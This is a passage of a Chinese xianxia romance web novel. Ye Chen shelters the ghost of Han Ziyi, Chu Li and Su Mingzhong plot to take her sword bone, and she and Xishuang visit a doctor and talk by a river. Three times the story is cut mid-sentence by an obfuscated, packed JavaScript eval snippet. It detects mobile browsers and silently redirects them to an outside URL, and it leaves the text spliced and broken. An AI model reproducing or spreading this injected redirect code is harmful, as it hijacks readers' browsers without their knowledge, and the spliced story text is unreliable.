“桥归桥路归路。”她听见洗霜轻轻笑了一声,“叶琛,你很没良心。” 他的理智和感情在拉扯,她却说桥归桥路归路。 叶琛看到对方微不可觉地朝她点点头,拿起剑,离开客栈。 大堂里又只剩下她和昏黄不定的烛火。 叶琛在桌子旁坐了很久,盛过肉羹的碗余温已经慢慢消退,她手指不小心碰到碗沿,被冰得哆嗦一下,带着碗同勺一整个倾翻在地。 瓷碗碎成六瓣,她弯着腰一片片捡起,手指被碗沿割伤,猩红的血流出,还没流到指腹就结了痂,她看着自己手上一线殷红,想着碗打碎了,明天该赔掌柜钱的。 想到这里,她就从怀里捞出一个绣着月亮的锦袋,她今天流了太多血,锦袋也浸红了一半,里面的银票和银锭倒是没湿,但这是洗霜的东西,她既要和他桥归桥路归路,这锦袋也该还他的。 她自己身上还有几枚铜钱,买一个碗应该够了。 叶琛此时心里终于长长吁出一口气,仿佛某些事终于有了确定的答案,她有条不紊地捡起这六瓣瓷碗碎片,放在桌子上,脚边忽然踩到一颗浑圆的珠子。 深红如玉,饱满晶莹。 外头裹着一层霜,叶琛捡起来一看,发现这不是什么珠子,而是一颗糖渍山楂。 这霜肯定是洗霜的手笔,他走得匆忙,这山楂又不显眼,大概落这儿了。叶琛想了想,把山楂收进锦袋里,打算明天一并还他。 上楼。 这间客栈位置隐僻,藏身在一众民房建筑中,是以并没有多少客人,掌柜先前也让叶琛随便挑间屋子,她对住宿不太挑剔,有屋顶,有窗户就行,二楼第一间就满足这些条件,还多带一个柚木雕花的床头柜。 叶琛把锦袋放在床头柜上,缩着身子爬上床,过了一会儿,又缓缓从床上起身,推开窗户。 窗外飘着细雪,细雪如盐,天地白茫茫一片,叶琛每到冬天,就觉得所有人都被腌在一个大坛子里,人活着就是预制的腌菜。 这个窗子望出去没有树,于是叶琛又缓缓收回眼,窗子也没关,蜷在床上,被子拉过头顶,闷在里头睡觉。 这一觉睡得不太踏实。 她总觉得有东西在耳边吵,嗡嗡的像蚊子叫,半梦半醒间又听到洗霜那句话,“叶琛,你很没良心。” 但她想,她应该很有良心才对,她放过他,也放过自己,他从此不用再为她冷脸皱眉,她也不用编一百个理由哄他高兴。 她的良心真是大大的好,一个叶琛放不下,两个叶琛也许能分担一二。 洗霜今夜并没像个男鬼一样一直缠着她,随之而后,她听到了另一个人的声音,有点耳熟,但一时又想不起是谁。 那人手脚都湿透了,墨发一缕缕贴在耳边,空荡荡的骨头撑着一副衣服架子,身形高大,蓝色衣衫烧得卷边,露出一截潦草的咒文。 叶琛在黑暗中睁开眼,蒙面的薄被被手骨拉下,她眼前慢慢明亮起来。 天亮了。 * 天花板一帧一帧在她眼前展开,随之映入眼帘的,是一张熟悉得不能再熟悉的脸。 毕竟她前夜还和这人刀剑相向。 但他如今也只剩下脸了,露出的半截手骨瘦削修长,没有一星半点皮肉,尖锐的指骨拉开叶琛蒙头的被子,差点戳到她眼珠。 叶琛靠墙坐着,目光扫过他苍白的脸,濡湿的发,最后落到他尖锐得能当凶器的指骨上,挑眉:“韩前辈。” 韩子仪半透明的身形隐在阴影里,衣袖湿哒哒地往下滴水,地板却是干燥的,叶琛一边庆幸地板没漏水,她本就羞涩的钱袋不用再背上一笔债务,一边有些好奇:“你这算是,在当鬼吗?” 韩子仪这副样子,妆都不用化就能去戏台子上唱一出“钟馗捉鬼”。 他演被捉的鬼。 叶琛其实不太怕他,虽然昨夜这人疯疯癫癫的,但说实话,他对她算可以了。 叶琛甚至不太明白这份“可以”的由来,只能归咎于万剑阁面子太大,她光是蹭了个剑圣的名头,就能让韩子仪放水放到这个地步。 不然以昨夜韩子仪随手封了她的剑,把乐知她们捆起来的战绩来看,他要杀她,也是轻而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774409|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易举。 叶琛这时候就有些自恋地想,如果昨夜只有她一个人上灵山,是不是她根本就不会和韩子仪打起来,洗霜后来脸色也不会那么难看。 但是一想到洗霜,她就觉得事情有点难办,回过神来先应付面前的鬼:“韩前辈,我原本打算逢年过节给你烧纸钱的,你这个样子,我要是给你烧钱,你能收到吗?” “纸钱就不必了,你要是能帮我摆个养魂阵,我就很欣慰了。”韩子仪似乎想扯出一个笑,头骨挂着的皮囊不太听话,最后成了一个皱皱巴巴的哭脸。 养魂阵是初阶阵法,即使不专研符法,修士入门也是要学的,叶琛当然也会,但会不会是一回事,帮不帮他又是另外一回事。 叶琛从自己的包袱里拿出阵法所需材料,一字排开,没有马上开始画,抬起眼,正正经经地问他:“韩前辈,我帮你养一养魂是没问题,但我总得知道,你怎么跑到我房里来了?” 如果不是她正好住在这间房里,人家正经做生意的客栈,忽然就多出一个游荡的鬼魂,还让不让人过日子了。 韩子仪掀起眼皮,扫了一眼柚木雕花的床头柜,徐徐回转,落在叶琛身上,声音嘶哑:“你自己把我带回来的,你不清楚?” 叶琛瞪大眼睛:“我什么时候带前辈你回来了!不是佛圣已然收了你吗?我怎么可能从佛圣手底下......” 韩子仪揣着手,平静地注视着她,看着她语气越来越弱,最后不太确定地看向昨晚摆在床头柜上的那只锦袋。此时袋口已经散开,银锭和着灵石散落在地,一颗朱红的山楂粒卧于其间,表面裹着层晶莹发亮的冰霜。 叶琛捡起那颗山楂,忽然觉得表面凉得冻手,不可置信:“你说的带回来,不会就是这颗山楂吧?” 韩子仪点头,喉骨发出咯吱咯吱的响声。 “好吧,算是我带你回来的。”叶琛把地上散落的银锭和着灵石捡起来,塞回锦袋,系好,“但是韩前辈,你不是被佛圣带走了吗?怎么跑进山楂里了?” 韩子仪没有回答她。 叶琛等了一会,没忍住心里好奇,抬头看,结果发现韩子仪的脸如热蜡般融成一团一团,直直往下掉,嘴已经不见了。 叶琛愣了下,手上动作加快,终于在韩子仪完全融化前摆出一个养魂阵,微薄灵力顺着阵法纹路融入他的身体,等到窗外日光正炽,韩子仪的脸总算回来了。 他找回自己的嘴,才慢慢回答叶琛先前的问题:“我是要去佛圣那里服役的,但在此之前,实在有件事让我放心不下。” 他苍白的唇弯了弯,闪着森冷的光。 叶琛听到他说:“五百年前,我的招魂阵失灵,没招回洛姑娘,倒招回了数千食魂鬼,佛子为免浮屠之难重演,亲手下结界将我和数千妖鬼封入佛宝,但仍有一只逃了出去。” “逃出去的那只鬼,五百年来和我共享命格,我以为这是个意外,直到数日前,它回来了。” 叶琛想了想,问道:“被佛圣抓回来了?” 韩子仪摇头,嗤笑一声:“它回来取我性命了。” 27. 三 天音楼众人在灵山下清点人数,处理伤口,一夜过去,总算全须全尾地进了浮屠城,找了个客栈暂作休整。 褚良玉被吊了一夜,后来又被捆进韩子仪的束缚阵里,此时脱下外衣,羊脂白玉的好皮肉上多出道道淤紫,乐知皱着眉给他上药,只听到他叫唤:“哎哟,师姐,你轻点,好疼啊!” 乐知搁下药瓶,冷笑一声:“那你自己来。” “别啊,好师姐,你帮帮我。”褚良玉那张漂亮得近乎妖异的脸皱成一团,眼瞳在充足的光线下浮起一层异色的光,“我自己又不知道哪里伤了,哪里没伤。” 乐知气笑了,随手指着旁边几个自己上药的弟子,道:“怎么人家就能自己上药,你就不行,你是我养的猫吗?” 结果这厮真就把脸凑到她手边,眨眨眼:“师姐,你要是愿意养着玩,也不是不行。喵~” 乐知顿了下,咬唇憋住笑,在他身边坐下,过了一会才开口:“算了,褚良玉,你都不当人了,我和你费什么话,等会褚师兄下来,我问他养不养猫。” 听到这个名字,少年郎明媚的唇角顿时耷拉下来,皱着眉:“不要,师姐,你别和褚师兄提,我就是当猫,也只当你的猫。” 乐知嘴角抽了抽,半晌才道:“为什么,当我的猫有什么好处?褚师兄手里的资源比我多,你跟了他没坏处,当初也是他把你捡回来,起名字的。” 褚良玉还是摇头:“反正师姐你不懂,这是猫科动物的直觉。” 乐知没跟他这“直觉”多费口舌,只轻微摇了摇头,抬头望向二楼的方向。 褚离和他带来的那个苏公子上了楼就没下来,乐知原本想和褚离说佛圣秘境的事,以为褚离最多和这位苏公子简单交代过就会下来,却没想一等就等到了正午。 褚良玉自己处理完背上伤口,重新穿上外衣,又成了副能看的样子,见乐知看过来,又嬉皮笑脸道:“怎么,我今日特别好看?昨夜褚师兄要是再迟来半刻,师姐你以后可就看不见这张脸了。” 乐知脸上却不见笑容,她沉思片刻,对褚良玉道:“你也觉得,褚师兄昨夜来得有些晚了吗?” * “如果不是昨夜先去取了佛宝,韩子仪的命格如今已经在我们手上了。” 少年人着一身沉碧似的青,如一块种水上好的翡翠,一眼望去数不尽的生机绿意,眼下却浮着一层厚重的阴霾。 褚离平心静气道:“苏公子,命格哪里都有,佛宝可不是每次都能见着。” “但将我召出来的是他。”苏明仲转身,居高临下,温温润润的眉眼也被他用出一股阴鸷之气,“褚离,你当初设下灵山之局,同我订立盟约,如今我要是拿不到合适的命格,不出百年也会魂飞魄散,我若死了,同我订立盟约之人,不能活。” “况且,我明明只差一点就能杀了韩子仪,那一晚你为什么不帮我?” 苏明仲阴鸷地盯着身旁这人看,褚离却依旧一副不太在意的样子,叹了口气,道:“苏二公子,你做事能不能长长脑子,那是佛子的秘境,你随手杀了个无关紧要的灵境修士就算了,你要真把佛子的囚徒劫了,你猜佛子会不会注意到你?” 转身,舆图在他手下展开,褚离看了一阵,目光停在某一处,轻声道:“佛宝已得,剩下剑骨、药泉、再加上天音楼的狩心琴弦,琴弦本就在我手上,那么下一个地方......” 他瘦削修长的手指划过舆图表面,最后停在一处连名字都没标注的小山丘上。 “这里,当年万剑阁前任阁主携半副剑骨出逃,途经此处,不幸遭遇山崩,剑埋于此,这是两百多年前的事情了,前任剑首在地下埋了这么久,也该重见天日了。” “至于你的命格。”褚离轻笑一声,“韩子仪如今被那位佛子收了去,是要不成了,随便找个人大概承不起你的命,我倒是有个办法,这就得看你了。” 苏明仲走到他身边,问道:“什么办法?” 褚离笑了笑,闲闲拨出几声琴响,等到身边这人已经面露不耐,才道:“当初四圣飞升之时,曾留下四件圣物,便是我方才说的四个,每一件都有通天彻地之能,而剑骨是其中最特殊的一件——它能融入持有者血肉骨髓,身怀剑骨之人,修为一日千里不说,更是世间最顶级的命格。” “你本是不容于世的妖鬼,若是能取得剑骨,得此命格,不比韩子仪的命来得好?” 苏明仲看着这人眯起的笑眼,心觉有异,皱起眉:“你要我随你去这座山取剑骨?” 褚离微微摇头:“我说过这座山下只有半截剑骨,当年剑圣飞升前,剑骨一分为二,一份留在万剑阁,而另一份......她留给了自己珍爱的小徒弟。” “你昨夜不是知道那人是谁了吗?” 苏明仲恍然:“那个穿黑衣服的女人?我是觉得她周身气场和旁人有些不同,这竟是剑骨吗?可她身上的剑骨怎么取,杀了直接取吗?” 褚离眼皮跳了跳,目光上下打量了一圈他这位同事,颇为无语:“苏二,你装了五百年人,思维倒是没被同化一点,人族想要什么东西,一般不这么残暴,要么骗,要么抢。” 苏明仲:“你也说是抢了,和我们差不多,并没有什么区别。” 褚离瞥他一眼:“那你抢得过吗,昨夜你也看见了,你和万剑阁如今的阁主对上,几成胜算?” 苏明仲默然,叹了口气:“请楼主赐教。” 褚离摆摆手,并没多少架子:“人族,上等谋心,下等谋财。苏二,你如今这套皮不错,学学人间男子哄小娘子的伎俩——你们妖鬼不是最擅长窥视人心吗?” * 叶琛听完韩子仪讲的鬼故事,后背不觉冒出一股凉气,起身关窗,才道:“若是这样说,五百年前的灵山惨案,是为前辈你而做的。” 方才韩子仪给她讲了一个和季知年版本全然不同的故事。 韩子仪当年得知灵山遭难,马上就从外地赶回浮屠,而就在浮屠城外,遭遇了同为修士的埋伏。 那时候修士间流传一种说法,千年来世间无人飞升,是因为当年四圣飞升时堵死了后人的路,只有从前和四圣交好的人,才知道破境法门。 那些灵境修士,心知大限将至,若不突破幻境,等待自己的也只有灵力衰竭而死的命运,不管信不信这个传言,都是要搏一搏的。 而闻灵山之难而赶赴浮屠的韩子仪,无疑成了最好的下手对象。 韩子仪养了半天魂,脸色终于好些,叹了口气:“他们挑人也不知道好好挑,我早同佛子他们八百年不来往了,就算有什么法门,我怎么会知道?” 蠢蠢欲动的叶琛:“啊?” 她本来竖起耳朵打算认真听这一遭,这时不由愣住:“韩前辈,你不知道?” 韩子仪点头:“我离开师门后,没过几年就躲进山里研究阵法去了,早已无飞升之志,我怎么会知道。” 好吧,叶琛眼睛里的光又暗淡下去,韩子仪觉得好笑,问道:“你很想飞升?” 叶琛:“是个修士都想吧,难道有不想飞升的修士?” 叶琛在自己认识的人里头挑了一圈,就没挑出一个不想的,其中最想飞的那个应该是洗霜,她第一次见到他的时候他就已经在灵境巅峰了,但迟迟难以突破幻境,如果这个传言是真的,那突破不了还真不能怪洗霜天赋不行或者不够努力,只是路被前人堵住了而已。 但她又觉出不对,道:“可是他们怎么会知道前辈你那时候会去灵山呢?” 韩子仪也不像那种,拿着大喇叭满街宣告自己行程的人啊。 面前的白骨骷髅笑了下,回答:“因为有人想知道我这个昔日的符法天才现在还天不天,才不才......有没有可能鸠占鹊巢,取而代之。” 叶琛缓缓皱起眉,刚想到点什么,房门就被推开。 门外站着洗霜。 叶琛这下是真的很惊讶了,她望着门口半天没眨眼,直到他走进来,皱着眉挡在她和韩子仪之间,她才反应过来。 洗霜来找她? 可是距离他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784626|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不欢而散才过去半夜吧,按照惯例,他不该和她冷战十天半个月的,再偶遇吗? 这么一樽冰雕摆在屋里,叶琛不太自在,随手摸到了刚刚系好的锦袋,心里又明白过来——洗霜应该是来拿回落在自己这的东西的。 毕竟昨天才说完桥归桥路归路,他还说她没良心。 但洗霜不开口,叶琛就也觉得不太好开口。 即使她这应该算是做好事,拾金不昧。 最后是韩子仪先开了口。 这具白骨骷髅自觉皮肉已经没了大半,也没有两位当事人对脸面的在乎,简称没脸没皮,没皮不怕有皮的。 他目光淡淡扫过面前的美人冰雕和伤残人士,忽而笑了一声:“还行,有点胆子。” 洗霜神色就更冷了。 叶琛不明所以,但总归是借着韩子仪莫名其妙暖起来的场子,先给洗霜介绍了当下情况,又从锦袋里拿出那枚山楂给他看,过了老半天,他终于确认韩子仪至少现在是无害的,脸色才好看一些。 有洗霜在场,叶琛感觉空气都冷飕飕的,又问韩子仪:“韩前辈,佛圣如果知道你在我这里,会不会什么时候就忽然现身啊。” 韩子仪看她的时候神色会温和一些,此时也笑了笑,摇头:“我能出现在这里,佛圣当然是知道的。” 叶琛这才点点头,看来从佛圣那里套消息的念头是行不通了,她又转过去问洗霜:“那你又为什么来找我?” 洗霜神色莫名地看了她一阵,须臾,语气冷飘飘的:“叶琛,你知道你现在是什么情况吗?” 叶琛老实地摇头:“不知道......” 但她一抬眼,接触到洗霜的眼神,又迅速改口:“啊......知道一点,但不多,大概百分之四十吧,要不你告诉我?” 她眼睁睁看着洗霜眼中的霜花纹理一圈圈扩开,他抿着唇,手中瞬间凝出一面冰镜,让她能看清自己的样子。 叶琛看到镜子里自己满是血丝的眼,脸侧数道刮伤蹭伤,脖颈处更是一道伤疤横贯左右,配上她微微蜡黄的肌肤,活脱脱一个逃难的灾民! 叶琛端详了自己一阵,也有点于心不忍,移开镜子,语气低下来:“啊,是有点惨。” 她这话足够宽慰自己,却似乎没宽慰到洗霜,他还是不太高兴,打量她一阵,开口:“你昨夜没睡。” 叶琛眨眨眼,很快摇头:“我为什么不睡,我肯定是睡了的,你又不和我一张床,怎么能笃定我睡没睡。” 洗霜一言不发地看着她。 她缓了口气,最后只好答:“好吧,我睡了,没睡着。” 叶琛转了转眼珠,心想洗霜的掌控欲,病情难道已经这么严重了?管她有没有把自己玩死也就算了,现在难道连她睡不睡得着觉也要管? 可是睡不着这件事,并不是管一下就能有用的,不然助眠性药物也不会在修士中销量如此火爆,仅次于刺棠花。 洗霜听到她承认,终于缓慢地眨了下眼,黑如鸦羽的眼睫翩跹如蝶,在眼下投下昳丽的光影。 他微不可觉地点点头,目光扫过叶琛猩红的双眼,浓重的黑眼圈,移至窗外,日光正炽,街上隐隐传来走贩的叫卖声,然后道:“睡醒了就下楼。” 他留下这样一句话。 同时带走了那颗深红的山楂粒。 叶琛望着他走远,关上门,重新缩进被子里,但是又觉得此时的境遇无比蹊跷。 明明昨夜他还在说她没良心啊。 怎么今天就变脸比翻书还快。 他终于发现她良心很好了? 叶琛摇了摇头,继续把头蒙进被子里,她本来就打算白天补觉,但是觉得应该睡不太着,床有点小,她动几下就听到硬物坠地的声响。 她钻出被子一看,锦袋被她碰到地上了。 “......” 叶琛从地上捡起锦袋,掂了掂,心下不解。 洗霜怎么又在她这落了东西。 丢三落四。 什么毛病。 28. 四 叶琛本以为自己睡不着,只打算闭目养神,等眼中红血丝消下去就下楼看看洗霜到底想干嘛。 但等她睁开眼,窗外已经一片昏黄,隐隐能听到女人喊孩子归家的声音。 叶琛刚醒来还有点懵,但还记得洗霜之前的话,推开房门,下楼,就看到一楼大堂里坐着两个人,听到楼梯响动,一人先抬起眼,冷飕飕的目光落在她身上,又移开。 叶琛走近了,另一人就揣着手,领口拉得很高,对她微微一笑,甚是和蔼。 她有点搞不清情况,先看向洗霜,等他开口,他却什么都没说,只朝她微微颔首,就拿着剑起身。 叶琛挠了挠头,又看了一眼韩子仪,这人没有动的意思,只朝她眨了眨眼,她就只好一个人跟着洗霜出去了。 金乌西坠,华灯初上,街上游人如织,逐渐有了节日的意思,叶琛跟着洗霜走到一处医馆前,才明白他要她干什么。 叶琛在医馆门口顿住脚步,磨蹭许久,不太想进去。洗霜在一旁抱剑等着,许久,才道:“你如今几岁?” 叶琛想了想,回答:“十六,再过几天就十七了。” “十六。”洗霜目光从她身上移开,“我还以为你六岁,不敢看大夫。” 叶琛叹了口气,摇头:“激将法对我没用,我也不是不敢看大夫,就是觉得没必要,这点伤再过几个时辰都该好了。 洗霜显然不太相信,他微微挑眉,脸上表情很明显——你自己进去,还是我让你进去。 叶琛不欲在这种事情上和他吵,当下掀开医馆门前帷幕,一马当先走了进去,目光扫过医案前诸多物品,心里不自觉松了一口气。 坐堂大夫是个头发花白的老人家,给她看伤、开药也慢吞吞的,等到大包小包的药堆在桌案上,天已经全黑了。 叶琛拿了药就想走,被洗霜喊回来,他把她拉到这老人家面前,皱眉:“你看病怎么和打架一样,有人在屁股后面追你吗。” 叶琛纳闷地抬头看了他一眼,意思也很明显——现在追着我不放的不是你吗? 他今天搭错了哪根筋? 叶琛摇摇头,甩掉脑子里冗余的想法,手从衣袖里伸出来,搁到医案上,洗霜冷着声道:“麻烦您给她看看,这手还能不能要了。” 被冻到的显然不止叶琛一个,大夫缓慢地抬起头,镜片后的目光先是落到洗霜身侧的剑上,再落到这人冷冰冰的脸上,须臾,开始给叶琛号脉。 叶琛没想过时间能有这么漫长,身边洗霜凉飕飕地冒冷气,这大夫一个动作可以拆解为无数个步骤,她感觉自己又睡了一觉,街上的游人都散了,才等到这老人家的宣判。 他捉着她的手,语气惊疑不定:“姑娘,你这只手前些日子是不是断过一次?” 叶琛感觉一道寒凉的目光落在自己身上。 她自然地点头:“断了根指骨,但现在应该快长好了。” “我不是说那根指骨,”这大夫摇了摇头,“人的骨头是很坚韧的东西,即使在承受数倍于其的压力后断裂,之后再长出来,也是原先的样子,但姑娘你这截腕骨,看着像是粉碎后再长好的,和其他骨头不太一样。” 他浑浊的眼珠透出隐隐激动,下意识捉住叶琛那只手:“姑娘,这可是医学奇迹,我从未听说骨头粉碎后还能完好如初的,可否告诉老朽是哪位名家给你做的术式?何时做的?用了哪些药?” 叶琛尴尬地抽出手,站起来:“就,我自己做的。” * “你会接骨?”走出一段距离,洗霜拎着一大包药,忽然问她。 叶琛思索了下,说:“不算接骨吧,不用管它,自己就长好了,新骨头还更结实,和凡人突破筑境时的洗筋伐髓差不多。” 她目光落在洗霜拎着的那串药上,说:“所以我说根本没必要看大夫,这点伤,过会都自己长好了。” 洗霜微微点头,脸上没什么表情,目光扫过她方才被包扎过的脖颈、指骨,淡淡道:“你的手是突破筑境时断的。” 叶琛坦然承认:“是,那时候引气入体条件不太好,时间又紧,我想快些弄完,着急了些,断了几根骨头,也没什么,现在都长好了。” 她抬起被包成粽子的手,笑了笑:“你看,新长出来的还比旧的结实。” 叶琛本想给他表演一个徒手碎石,低头找了一圈,发现浮屠城街道卫生真是好,一块破石头都没有,只好放弃,抬头,就看到洗霜神色莫名地看着她。 新的比旧的结实。 洗霜顿时觉得无比荒谬。 他这次说话有了情绪和语气,说出来的话却让叶琛听不太明白:“所以这就是你当初每次回来,不是断了手就是断了脚的理由?” 叶琛怔愣片刻,半天才缓缓吐出一个字。 “啊?” 她有吗? 而且洗霜怎么会记得这么清楚,她自己都不太记得有没有这回事。 洗霜看着她眼中浑然的迷茫之意,深深皱起眉。 她真的有——哪怕一点记性吗? 两人对视一瞬,各自移开目光。 接下来一段路,两人不再说话,只并肩而行,叶琛隐隐感觉大街上许多人的目光都投向这处,准确地说,是落在洗霜身上。 浮屠日是独属于浮屠人的祭典,即使天已经全黑了,街上还是有不少人,方才从医馆所在的支道走入主道,人就更多了,深蓝的天空还燃起一簇簇焰火,流金般从天际泻下,缓缓隐入地平线。 但人越多,投往叶琛这边的视线也越多,叶琛当然知道他们是看什么,想了想,没忍住同洗霜说:“你这些日子出门还是戴个面具吧。” 洗霜抬眼,问道:“为何?” “因为他们都在看你......如果你不想像从前那样,日日收到姑娘的香囊花枝,不如把脸遮住。”叶琛道。 她面前这位剑首俊美得不似凡人,通身冰雪般澄澈清冷的气质,即使是座冰雕,也是座万里挑一的美人冰雕。 洗霜神色不动,叶琛以为他不懂其中关节,直白道:“因为你长得太招人了。” “哦?”这下洗霜有了反应,他掀了下眼皮,面无表情地看向叶琛身后,语气微妙,“我觉得,这话用在你身上比较合适。” 叶琛愣了下,耳边随即传来一道温温润润的男子嗓音。 那声音带着点少年人特有的清冽和成年男人的厚重,融在一起,让人想起穿堂而过的晨风,或者是雨打芭蕉叶的余响。 那人站在灯火交映处,一身沉碧似的青,暖玉似的肌肤泛出莹润的光泽,熠熠生辉,笑得温柔极了。 他拱手道:“叶姑娘。” 然而叶琛只回头看了一眼,就跟见了鬼似的,拉着洗霜就跑。 一直跑到河边,才堪堪停住脚步,大口喘气,气息调匀才意识到自己下意识拉走的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850454|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁。 叶琛猛地松开手,抬眼,看到洗霜没什么表情,心里才松了口气。 他连她之前扯他的衣袖都要嫌弃,如今被她大张旗鼓地碰了,心里指不定杀了她多少遍了。 叶琛又看了一眼波光粼粼的的河面,心想,说不定他还会三贞九烈地去跳河呢。 可洗霜没有杀她,也没有去跳河,他低下头,缓缓揉捻着自己被强行攥住的腕骨,许久,才看叶琛:“怎么,你那夫君如今又不合你心意了?” 叶琛摇摇头:“这和心不心意没关系,我只是不想再欠他了。” 前世一看到苏二,叶琛就想起他攥着自己的手,脸色苍白如纸,咳出一团团猩红的血,她一触碰到他冰凉的温度,就想到她是欠他一条命的。 欠了就要还,可叶琛却没办法把自己的命给他,给了他多半也不要。 她承认自己对苏二有些逃避心理,但她觉得这也是好事,今生不遇到她,苏二应该是可以活到九十多岁,好好当他的苏二公子的。 洗霜不置可否:“你早该如此,修士和凡人之间本就有天堑,我当初便不觉得你们能长久。” “我本来也没想过长久。”叶琛找了块河边的石头坐下,低头看着水中自己的影子,感叹,“那时他快死了,他是为我而死的,有什么能比生死更大呢?” 叶琛觉得没有,她当时甚至想过苏二的请求也许是要她寻遍九天十地,为他寻来救命的办法,却没想到他的心愿竟如此简单。 他说,我想做你的丈夫,叶姑娘,我们成亲吧。 他还说,若是我日后死了,你不要为我守寡,你这样好的姑娘,该有更好的男子相配的。 叶琛觉得自己没有理由拒绝他。 这段往事谈不上有趣,叶琛絮絮叨叨地讲完,回头,看到洗霜神色一瞬间无比鲜活。 他默了半晌,道:“所以你这个亲,是如此成的。” 叶琛眨眨眼,端详片刻,笑出声:“亲不都是这么成的,你还想有几种成法,正着成,反着成——还是倒着成?” 许久,她听到洗霜说:“凡间戏文里,但凡有花轿乘鸾,必定是才子佳人,情投意合,情根深种。” 叶琛坦然地点头:“话本子里的确如此,不这么写人们不爱看,现实情况就复杂许多,凡人可以因为一袋米成亲,因为一座宅子成亲——当然也可以因为一段恩情成亲。” 河水摇摇晃晃,叶琛的影子很快看不出形状,洗霜顿了顿,道:“人族很难懂。” 叶琛笑道:“人就是这样的,可你也不是人,何必去懂这些。” 胎儿在母亲的羊水中长大,大概是一生中人际链接最少的时候,连结自己和世界的只有一根拇指粗的脐带,随着从母亲□□生出,越长越大,关系愈发复杂,但大而化之,说起来也不过是谁亏欠谁,又亏欠多少。 而这些亏欠往往又滚雪球似的越滚越大,最后谁欠谁,已经分不清了。 凡人如此,修士不能免俗。 而叶琛这辈子才刚刚开始,不想再掺和进这笔烂账里。 天上还在放焰火,河边荡开一片烛火焰光,如散落的星子,连成长河一片,潺潺水声中,叶琛又听到洗霜平淡地问:“所以,你不是对苏二情根深种。” 也不是非他不可。 叶琛眼皮跳了跳,立马回过头,眼神怪异,打量了他半晌,才道:“洗霜,你话本子看多了吗?” 29. 五 情根深种? 好酸的话,叶琛觉得自己牙都要被酸掉了。 她从没想过这个词会从洗霜嘴里说出来,但她这时候心里又生出别的想法——洗霜私底下到底看了多少凡间戏文和话本子? 这个问题在她嘴边兜兜转转数次,最后也没问出口,洗霜爱看什么,是他的私事,也没谁规定白天冷冰冰的剑首晚上不能爱看《霸道王爷俏王妃》吧? 叶琛舔了下唇,道:“苏二于我恩义深重不假,可情根深种又是哪来的,我从未说过这话。” 这么酸的词,怎么想也不可能出自她口。 不会是洗霜看过的哪套话本子里的,他弄错了,就直接照搬到她身上了吧。 叶琛目光轻轻扫过洗霜冷淡的侧脸,羽毛般在他脸上搔了一下。 洗霜平淡地眨了下眼,鸦黑的睫羽下压,一字一顿,字字清冷:“你说,苏二是你拜过天地,合过契的夫君,你对他当然情深意重。” 他掀了下眼皮,淡淡看了眼叶琛:“怎么,不到七天,你全忘了?” 叶琛:“......” 她顿了下,摇头:“我当然没忘,但我说的情深意重当然不是那个意思,恩情也是情,我欠他一段,这是我该还的。” 叶琛看着洗霜道:“我要是欠你这么多,也一定会还你的。” 她还应当会加倍还,从前叶婆婆和她说,她养她大,她养她老,这是叶琛欠她的,只可惜叶婆婆死得太早,如今只留下一处孤坟,只能吃些香火纸钱了。 如果洗霜死了——不,洗霜不会死,叶琛很快摒弃了这个想法,又想到,如果洗霜像她昨夜一样被困在灵山,她也会去救他的。 这倒无关亏欠,而是他们被一纸剑契绑着,一方落难势必影响到另一方,这种情义和苏二那种又不太一样。 洗霜听完她的话,并不说话,许久才道:“我没觉得你欠我什么,也不想你还什么,我只希望你记性能好一些。” 叶琛茫然地望着他。 难道她记性很差吗? 洗霜似乎看出她眼睛里的意思,淡淡道:“断了只手,脖子上多了道疤,脸上的伤姑且不论,我问你,叶琛,哪个剑修混得像你这么惨?” “嗯......这也是有的,都学剑了自然不会怕苦怕累......”叶琛看着洗霜越来越冷的脸色,连忙改口,“但你不是,你多风光啊,我每次见到你,你衣服都和新的一样,特别白,特威风!” 洗霜静静地看着她,叶琛声音慢慢弱下来,最后补了句:“......所以我也不算记性很差吧,我还记得你从前特爱干净,连衣角沾了灰都要皱眉好几天。” 叶琛觉得洗霜这话在污蔑自己。 她哪有记性很差,她明明什么都记得一清二楚。 洗霜侧过脸,清冷眉目隐在朦胧夜色里,叶琛看不太清他的脸,只听到他说:“叶琛,你的记性要是能用对地方,我也就不用每次都怕你一出去就回不来。” 他说话声音不大,也没什么情绪,几乎要被嘈杂的烟花爆炸声掩盖过去,但叶琛坐得离他近,也就把这句话听得一清二楚。 怕? 叶琛眨了眨眼。 洗霜怕她死在外头?然后剑契就会一直挂着她和他的名字,解不了也分不开,平白耽误他飞升进度? 她如此想着,也就不由自主地念了出来,她每说一句,身周的温度就更低一分,最后听到洗霜轻轻笑了一声,道:“是,我怕你死在外头,还要去给你收尸。” 